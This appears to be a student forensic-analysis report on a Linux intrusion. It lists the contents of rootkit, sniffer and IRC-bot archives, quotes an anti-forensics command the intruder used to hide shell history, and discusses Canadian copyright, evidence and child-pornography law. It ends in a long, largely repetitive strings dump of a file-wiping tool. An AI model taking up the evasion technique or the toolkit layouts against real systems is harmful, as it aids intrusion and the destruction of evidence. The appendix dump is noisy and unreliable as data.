  - .s/clean
  - .s/nfsd
  - .s/nfsd/nfsd
  - .s/nfsd/sshd
  - .s/nfsd/sshd/config
  - .s/sshd
  - .s/sshd/init.sshd
  - .s/sshd/ssh_host_key
  - .s/sshd/sshd_config
  - .s/install
  - .s/./sense
  - .s/./sense/p.sshd

- bot.tar.gz
  - .X11-pipe/
  - .X11-pipe/COPYING
  - .X11-pipe/README
  - .X11-pipe/Makefile
  - .X11-pipe/versions
  - .X11-pipe/lpd.help
  - .X11-pipe/lpd.version
  - .X11-pipe/lpd.pid
  - .X11-pipe/lpd.session
  - .X11-pipe/checklpd

- samba.tgz
  - ./samba/samba
  - ./samba/solo
  - ./samba/sys
2.9. Conclusions

The analysis of the logs and tools used provided some interesting insights into the subject. The initial connections showed some scripted activity, worm like. The subject scripts initially held the connection but dropped. The subject did not pay attention to the logging their own install script provided. If they had, they would have seen the fact the sniffer program was not completely installed.

Logging from the IRC sessions demonstrated the need to have bragging rights over how many machines someone has compromised.

```
:stockholm.SE.eu.Undernet.org 251 MrIdiot :There are 52305 users and 71548 invisible on 36 servers
:stockholm.SE.eu.Undernet.org 252 MrIdiot 79 :operator(s) online
:stockholm.SE.eu.Undernet.org 253 MrIdiot 213 :unknown connection(s)
:stockholm.SE.eu.Undernet.org 254 MrIdiot 46487 :channels formed
:stockholm.SE.eu.Undernet.org 255 MrIdiot :I have 9236 clients and 1 servers
:stockholm.SE.eu.Undernet.org NOTICE MrIdiot :Highest connection count: 9510 (9509 clients)
:stockholm.SE.eu.Undernet.org 375 MrIdiot :- stockholm.SE.eu.Undernet.org Message of the Day -
:stockholm.SE.eu.Undernet.org 372 MrIdiot :The message of the day was last changed: 2003-1-21 16:57
:stockholm.SE.eu.Undernet.org 376 MrIdiot :End of /MOTD command.
:stockholm.SE.eu.Undernet.org NOTICE MrIdiot :on 1 ca 1(4) ft 10(10) tr WHOIS MrIdiot
:stockholm.SE.eu.Undernet.org 311 MrIdiot MrIdiot -Idiot XXX.XXX.5.35 * :Idiot
:stockholm.SE.eu.Undernet.org 312 MrIdiot MrIdiot Bredbandsbolaget's IRC Server
:stockholm.SE.eu.Undernet.org NOTICE MrIdiot :End of /WHOIS list.
```

Our subject(s) are likely learning the ropes, and are attempting to prove themselves to others in their group by hacking into as many computers as possible. The suspect is not a detail person as seen in the mistyping of commands such as "unset HISTFILES" and doesn't review his/her own install logs.

Improvements made to the Live Response procedure are;

- File listing has been changed from listing only the /proc file system to listing all files and directories recursively. Changed from `ls -al /proc` to `ls -alR /`.
- A second file listing has been added that will parse out the inode listings for the file system. Added `ls -aliR /`.
Section 3

3. Legal Issues of Incident Handling

3.1. Questions:

Question. Based upon the type of material John Price was distributing, what if any, laws have been broken based upon the distribution?

The reference to Ripped MP3 files at the various website and the message to Mike are evidence of copyright infringement. The sections of the Canadian copyright law that would be applied to this are civil and criminal. In the “Copyright Act of Canada, Part IV – Remedies S.34,S35,S38.1” we find the following;

**Civil Remedies**¹⁰

34. (1) Where copyright has been infringed, the owner of the copyright is, subject to this Act, entitled to all remedies by way of injunction, damages, accounts, delivery up and otherwise that are or may be conferred by law for the infringement of a right.

(2) In any proceedings for an infringement of a moral right of an author, the court may grant to the author or to the person who holds the moral rights by virtue of subsection 14.2(2) or (3), as the case may be, all remedies by way of injunction, damages, accounts, delivery up and otherwise that are or may be conferred by law for the infringement of a right.

(3) The costs of all parties in any proceedings in respect of the infringement of a right conferred by this Act shall be in the discretion of the court.

(4) The following proceedings may be commenced or proceeded with by way of application or action and shall, in the case of an application, be heard and determined without delay and in a summary way:

(a) proceedings for infringement of copyright or moral rights;
(b) proceedings taken under section 44.1, 44.2 or 44.4; and
(c) proceedings taken in respect of

(i) a tariff certified by the Board under Part VII or VIII, or
(ii) agreements referred to in section 70.12.

35. (1) Where a person infringes copyright, the person is liable to pay such damages to the owner of the copyright as the owner has suffered due to the infringement and, in addition to those damages, such part of the profits that the infringer has made from the infringement and that were

not taken into account in calculating the damages as the court considers just.

(2) In proving profits,

(a) the plaintiff shall be required to prove only receipts or revenues derived from the infringement; and

(b) the defendant shall be required to prove every element of cost that the defendant claims.

(c) in any other case, if the court is of the opinion that the interests of justice do not require the copyright owner to be a party


38.1 (1) Subject to this section, a copyright owner may elect, at any time before final judgment is rendered, to recover, instead of damages and profits referred to in subsection 35(1), an award of statutory damages for all infringements involved in the proceedings, with respect to any one work or other subject-matter, for which any one infringer is liable individually, or for which any two or more infringers are liable jointly and severally, in a sum of not less than $500 or more than $20,000 as the court considers just.

Depending on intent and cooperation the fines faced by the defendant in civil court can be expensive. The “Criminal Remedies” section carry not only fines but the added possibility of jail time. The section of the “Copyright Act” that applies to the Criminal aspect of Copyright infringement is “Copyright Act of Canada, Part IV – Remedies S.42”. In this section we find the statement “Every person who knowingly”. The factor that determines the pressing of Criminal charges would be “intent”. For our case we see intent in the letter written to Mike. The topic of discussion is on “advanced orders for the next run”. The actions being taken are deliberate, the factors that show it’s illegal and wrong are things like hiding the MP3 access sites in slack space of a file. The other factor is the alteration of the bmap source code. Below are some sections from the Criminal Remedies area of the Copyright Act of Canada:

\textit{Criminal Remedies}\\

42. (1) Every person who knowingly

(a) makes for sale or rental an infringing copy of a work or other subject-matter in which copyright subsists,

(b) sells or rents out, or by way of trade exposes or offers for sale or rental, an infringing copy of a work or other subject-matter in which copyright subsists,

(c) distributes infringing copies of a work or other subject-matter in which copyright subsists, either for the purpose of trade or to such an extent as to affect prejudicially the owner of the copyright,

(d) by way of trade exhibits in public an infringing copy of a work or other subject-matter in which copyright subsists, or

(e) imports for sale or rental into Canada any infringing copy of a work or other subject-matter in which copyright subsists is guilty of an offence and liable

(f) on summary conviction, to a fine not exceeding twenty-five thousand dollars or to imprisonment for a term not exceeding six months or to both, or

(g) on conviction on indictment, to a fine not exceeding one million dollars or to imprisonment for a term not exceeding five years or to both.

(4) Proceedings by summary conviction in respect of an offence under this section may be instituted at any time within, but not later than, two years after the time when the offence was committed.

If found guilty of a summary conviction under section 42 of the Copyright act the suspect faces fines up to $25,000.00 and a jail term of 6 months. For a summary conviction there is a two year time limit. If you are convicted on indictment the fines are up to 1 million dollars and jail for up to 5 years.

Question. What would the appropriate steps be to take if you discovered this information on your systems?

The information on the system is a violation of the Copyright Act as indicated above. The information must be handled as any other evidence. The requirements for electronic evidence gathering are indicated in the Canada Evidence Act – Authentication of Electronic Documents – S.31.1, - Application of Best Evidence Rule-Electronic documents /printouts – S.31.2 and Presumption of Integrity – S.31.3. In accordance with the above sections the “burden of proving its authenticity” is required by the person wishing to admit the evidence. The evidence is required to support the claim that the document is what it claims to be.

The method used to gather the evidence must be verified. Note taking and using two people ensures there is independent verification and integrity of the evidence. The evidence gathering must include the identification and verification processes. The use of MD5 checksum hashes are meant to prove authenticity and integrity of the evidence. Placing the seized media into a secure area and using evidence bags initialed by the investigators maintains the evidence chain. The hardware write block device used for the image ensure the evidence is not modified.

The application of the best-evidence rule (S31.2) allows for the use of printout to be used as evidence of an electronic document. Printouts of evidence reports ensure its availability and provide backup in cases were the electronic media may be unavailable or destroyed.
Question. In the event your corporate counsel decides to not pursue the matter any further at this point, what steps should you take to ensure any evidence you collect can be admissible in proceedings in the future should the situation change?

To ensure the evidence gathered could be admissible in the future the same standards for evidence gathering that law enforcement uses would be applied. The evidence would be gathered by two people and documented. A live response would be conducted to ensure the running processes are recorded. Next, the box would be either shutdown properly or unplugged, depending on the type of Operating system being dealt with. The note taking by the two investigators must include dates, times, commands run, MD5 hashes of files and evidence gathered. Initialing of all evidence and the use of evidence bags that are sealed and initialed. All evidence gathered would be stored in a secure (locked) location.

Other provisions of the Criminal Code for gathering the evidence are covered in the Canada Evidence Act. The sections of interest are (31.1) Authentication of Electronic Documents, (31.2) Application of Best Evidence Rule-Electronic Documents and (S31.3) Presumption of Integrity. Refer to the section above.

Question. How would your actions change if your investigation disclosed that John Price was distributing child pornography?

Child pornography is a serious criminal offense. Corporate counsel would be advised then the authorities would be contacted immediately. The provisions in the Criminal Code of Canada provide clear guidelines on the action to be taken. (see Appendix G for complete listing of the Criminal Code of Canada pertaining to Child Pornography).

The Child pornography section of the Criminal Code of Canada is section 163.1. Item 3 under section 163.1 states:

(3) Every person who transmits, makes available, distributes, sells, imports, exports or possesses for the purpose of transmission, making available, distribution, sale or exportation any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

4) Every person who possesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or
(b) an offence punishable on summary conviction.

(4.1) Every person who accesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) an offence punishable on summary conviction.

The provisions in section 163.1 (3) allow the company hosting to be charged if immediate action is not taken.

The machine in question would be imaged following the forensic methodology outlined below.

- Two investigators present.
- Extensive note taking, including dates and times, commands run.
- MD5 checksums on the evidence.
- Strong chain of evidence through the use of evidence bags and initialed seals. Secure storage of all evidence.

The preference for who gathers the evidence would be to gather the evidence and wait for law enforcement to execute a proper Search warrant. To ensure due process law enforcement is required to obtain a search warrant under the Criminal Code of Canada, S.487 (1) a-c, and S.487(2.1) a-d & (2.2) a-c. It states:

487. (1) A justice who is satisfied by information on oath in Form 1 that there are reasonable grounds to believe that there is in a building, receptacle or place

(a) anything on or in respect of which any offence against this Act or any other Act of Parliament has been or is suspected to have been committed,

b) anything that there are reasonable grounds to believe will afford evidence with respect to the commission of an offence, or will reveal the whereabouts of a person who is believed to have committed an offence, against this Act or any other Act of Parliament,

(c) anything that there are reasonable grounds to believe is intended to be used for the purpose of committing any offence against the person for which a person may be arrested without warrant, or

may at any time issue a warrant authorizing a peace officer or a public officer who has been appointed or designated to administer or enforce a federal or provincial law and whose duties include
the enforcement of this Act or any other Act of Parliament and who is named in the warrant.

(2.1) A person authorized under this section to search a computer system in a building or place for data may

(a) use or cause to be used any computer system at the building or place to search any data contained in or available to the computer system;

(b) reproduce or cause to be reproduced any data in the form of a print-out or other intelligible output;

(c) seize the print-out or other output for examination or copying; and

(d) use or cause to be used any copying equipment at the place to make copies of the data.

(2.2) Every person who is in possession or control of any building or place in respect of which a search is carried out under this section shall, on presentation of the warrant, permit the person carrying out the search

(a) to use or cause to be used any computer system at the building or place in order to search any data contained in or available to the computer system for data that the person is authorized by this section to search for;

(b) to obtain a hard copy of the data and to seize it; and

(c) to use or cause to be used any copying equipment at the place to make copies of the data.\(^\text{12}\)

Once the search warrant was executed by Law Enforcement the evidence would be turned over to Law Enforcement.

Appendices

Appendix A

Prog file strings listing

Strings dump - file prog, from Linux 7.3 VMWare workstation.

```
PTRh QVhx h0=
hK= h0= 0hT=
h8= 0he= 8-tx
h8= h0= hP> 0hm>
h8= h$? h-> hh?
h7? h7? hH?
h? PhI? hI?
hU? h? h`?
h? hN? hs?
hy? Ph @ hg@
0h A 0h0A 0h B
0h B 0hC 0h5C
0hDC 0hXC 0h_C
0hbC hhC 0hnC
hxC h, D 0h7D
0h` D 0h_C 0hbC
hx C h, D 0h-E
h8I hdI hXI
h) J hCJ h` J
h K PhAK PhHK
hJK hbK huK
hbK huK hbK
huK PhHK hHK
h L h M h:M
hkM h`M RPSQ
h8M RPSQ
[I,RPSQ h8N p0hxN
h8N h`N X^] [:]
[^
L[^] tY9u
].] < v61
ug;
[^_]
XZSV PSB|
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^

```

© SANS Institute 2004, Author retains full rights.

Note: The strings listed are hexadecimal representations of characters.
examining a filename or url!
flag-
mft_log_shutdown
branch
mft_getopt
invalid index %d
invalid value for enum
mft_log_init
branch
progress
entry exit
mft_log_shutdown
unspecified
enter exit
%s:
%s
<sampling>
<
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
<sampling>
filesystem blocksize

null block while mapping block %d.

Unable to stat file: %s is not a regular file.

Unable to stat raw device %s
device mismatch 0x%x != 0x%x

Unable to open raw device %s
raw fd is %d

bogowipe
write error

/dev/xdb9
/dev/xdb39
/dev/xdb63
/dev/xdb60
/dev/xdb58
/dev/xdb55
/dev/xdb52
/dev/xdb49
/dev/xdb46
/dev/xdb43
/dev/xdb40
/dev/xdb36
/dev/xdb33
/dev/xdb30
/dev/xdb28
/dev/xdb25
/dev/xdb22
/dev/xdb17
/dev/xdb14
/dev/xdb11
/dev/xdb8
/dev/xdb5
/dev/xdb4
/dev/xdb3
/dev/xdb2
/dev/xdb1
/dev/xda9
/dev/xda7
/dev/xda61
/dev/xda59
/dev/xda56
/dev/xda53
/dev/xda50
/dev/xda48
/dev/xda45
/dev/xda42
/dev/xda4
/dev/xda37
/dev/xda34
/dev/xda31
/dev/xda29
/dev/xda26
/dev/xda23
/dev/xda20
/dev/xda18
/dev/xda15
/dev/xda12
/dev/xda1
/dev/sjcd
/dev/sd9
/dev/sd7
/dev/sd4
/dev/sd15

bmap_map_block
null block while mapping block %d.

Unable to stat file: %s is not a regular file.

bmap_get_block_size
bmap_raw_open
bmap_raw_close

computed block count: %d

stat reports %d blocks: %d

Kevin Miller - Sans GCFA Assignment – v1.4 Page 67

/s.../image

bogowipe

write error

null block while mapping block %d.

Unable to stat file: %s is not a regular file.

device mismatch 0x%x != 0x%x

Unable to open raw device %s
raw fd is %d

bogowipe

write error

null block while mapping block %d.

Unable to stat file: %s is not a regular file.

device mismatch 0x%x != 0x%x

Unable to open raw device %s
raw fd is %d

bogowipe

write error

null block while mapping block %d.

Unable to stat file: %s is not a regular file.

device mismatch 0x%x != 0x%x

Unable to open raw device %s
raw fd is %d

bogowipe

write error

null block while mapping block %d.

Unable to stat file: %s is not a regular file.

device mismatch 0x%x != 0x%x

Unable to open raw device %s
raw fd is %d

bogowipe

write error

null block while mapping block %d.

Unable to stat file: %s is not a regular file.

device mismatch 0x%x != 0x%x

Unable to open raw device %s
raw fd is %d

bogowipe

write error

null block while mapping block %d.

Unable to stat file: %s is not a regular file.

device mismatch 0x%x != 0x%x

Unable to open raw device %s
raw fd is %d

bogowipe

write error

null block while mapping block %d.

Unable to stat file: %s is not a regular file.

device mismatch 0x%x != 0x%x

Unable to open raw device %s
raw fd is %d

bogowipe

write error

null block while mapping block %d.

Unable to stat file: %s is not a regular file.

device mismatch 0x%x != 0x%x

Unable to open raw device %s
raw fd is %d

bogowipe

write error

null block while mapping block %d.

Unable to stat file: %s is not a regular file.

device mismatch 0x%x != 0x%x

Unable to open raw device %s
raw fd is %d

bogowipe

write error
/dev/sdo3 /dev/sdo2 /dev/sdo15
/dev/sdo14 /dev/sdo13 /dev/sdo12
/dev/sdo11 /dev/sdo10 /dev/sdo1
/dev/sdo /dev/sdn9 /dev/sdn8
/dev/sdn7 /dev/sdn6 /dev/sdn5
/dev/sdn4 /dev/sdn3 /dev/sdn2
/dev/sdn15 /dev/sdn14 /dev/sdn13
/dev/sdn12 /dev/sdn11 /dev/sdn10
/dev/sdn1 /dev/sdn /dev/sdm9
/dev/sdm8 /dev/sdm7 /dev/sdm6
/dev/sdm5 /dev/sdm4 /dev/sdm3
/dev/sdm2 /dev/sdm15 /dev/sdm14
/dev/sdm13 /dev/sdm12 /dev/sdm11
/dev/sdm10 /dev/sdm9 /dev/sdm8
/dev/sdm19 /dev/sdm18 /dev/sdm17
/dev/sdm16 /dev/sdm15 /dev/sdm14
/dev/sdm13 /dev/sdm12 /dev/sdm11
/dev/sdm11 /dev/sdm10 /dev/sdm1
/dev/sd1 /dev/sd9 /dev/sj9
/dev/sd8 /dev/sd7 /dev/sd6
/dev/sd5 /dev/sd4 /dev/sd3
/dev/sd2 /dev/sd15 /dev/sd14
/dev/sd13 /dev/sd12 /dev/sd11
/dev/sd11 /dev/sd10 /dev/sd9
/dev/sd1 /dev/sd8 /dev/sd7
/dev/sd7 /dev/sd6 /dev/sd5
/dev/sd4 /dev/sd3 /dev/sd2
/dev/sd15 /dev/sd14 /dev/sd13
/dev/sd12 /dev/sd11 /dev/sd10
/dev/sd1 /dev/sd /dev/sdx9
/dev/sddx8  /dev/sddx7  /dev/sddx6
/dev/sddx5  /dev/sddx4  /dev/sddx3
/dev/sddx2  /dev/sddx15 /dev/sddx14
/dev/sddx13 /dev/sddx12 /dev/sddx11
/dev/sddx10 /dev/sddx1 /dev/sddx
/dev/sddw9  /dev/sddw8  /dev/sddw7
/dev/sddw6  /dev/sddw5  /dev/sddw4
/dev/sddw3  /dev/sddw2  /dev/sddw15
/dev/sddw14 /dev/sddw13 /dev/sddw12
/dev/sddw11 /dev/sddw10 /dev/sddw1
/dev/sddw   /dev/sddv9  /dev/sddv8
/dev/sddv7  /dev/sddv6  /dev/sddv5
/dev/sddv4  /dev/sddv3  /dev/sddv2
/dev/sddv15 /dev/sddv14 /dev/sddv13
/dev/sddv12 /dev/sddv11 /dev/sddv10
/dev/sddv1  /dev/sddv  /dev/sddu9
/dev/sddu8  /dev/sddu7  /dev/sddu6
/dev/sddu5  /dev/sddu4  /dev/sddu3
/dev/sddu2  /dev/sddu15 /dev/sddu14
/dev/sddu13 /dev/sddu12 /dev/sddu11
/dev/sddu10 /dev/sddu1  /dev/sddu
/dev/sddt9  /dev/sddt8  /dev/sddt7
/dev/sddt6  /dev/sddt5  /dev/sddt4
/dev/sddt3  /dev/sddt2  /dev/sddt15
/dev/sddt14 /dev/sddt13 /dev/sddt12
/dev/sddt11 /dev/sddt10 /dev/sddt1
/dev/sddt   /dev/sdds9  /dev/sdds8
/dev/sdds7  /dev/sdds6  /dev/sdds5
/dev/sdds4  /dev/sdds3  /dev/sdds2
/dev/sdds15 /dev/sdds14 /dev/sdds13
/dev/sdds12 /dev/sdds11 /dev/sdds10
/dev/sdds1  /dev/sdds  /dev/sddr9
/dev/sddr8  /dev/sddr7  /dev/sddr6
/dev/sddr5  /dev/sddr4  /dev/sddr3
/dev/sddr2  /dev/sddr15 /dev/sddr14
/dev/sddr13 /dev/sddr12 /dev/sddr11
/dev/sddr10 /dev/sddr1  /dev/sddr
/dev/sddq9  /dev/sddq8  /dev/sddq7
/dev/sddq6  /dev/sddq5  /dev/sddq4
/dev/sddq3  /dev/sddq2  /dev/sddq15
/dev/sddq14 /dev/sddq13 /dev/sddq12
/dev/sddq11 /dev/sddq10 /dev/sddq1
/dev/sddq   /dev/sdp9  /dev/sdp8
